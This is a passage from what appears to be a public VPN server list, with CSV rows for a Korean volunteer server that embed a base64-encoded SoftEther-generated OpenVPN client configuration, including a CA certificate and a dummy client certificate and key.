ZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn893972689,218.151.48.166,1370885,32,80089556,Korea Republic of,KR,68,5182084195,476629,92558994503369,2weeks,메인컴퓨터's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTguMTUxLjQ4LjE2NiAxOTM0DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoy